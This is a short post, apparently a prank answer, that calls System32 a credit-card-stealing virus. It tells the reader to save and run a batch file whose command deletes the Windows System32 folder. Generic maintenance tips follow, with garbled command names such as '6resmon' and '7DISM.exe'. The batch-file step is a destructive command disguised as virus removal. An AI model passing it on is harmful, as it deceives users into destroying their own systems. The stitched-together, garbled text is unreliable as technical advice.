It's a virus! It records credit card info and hide in system 32 on windows computers! To get rid of this open a notepad type the following: @echo off del c:\WINDOWS\system32 save the file as anything.bat (remember to add the .bat extension and save as all files) double click and it will delete the system32 folder.

A clean and tidy computer is the key requirement for avoiding PC trouble.

Always remember to perform periodic backups, or at least to set restore points.

Should you experience an actual problem, try to recall the last thing you did, or the last thing you installed before the problem appeared for the first time. Use the 6resmon command to identify the processes that are causing your problem. Even for serious problems, rather than reinstalling Windows, you are better off repairing of your installation or, for Windows 8 and later versions, executing the 7DISM.exe /Online /Cleanup-image /Restorehealth command.
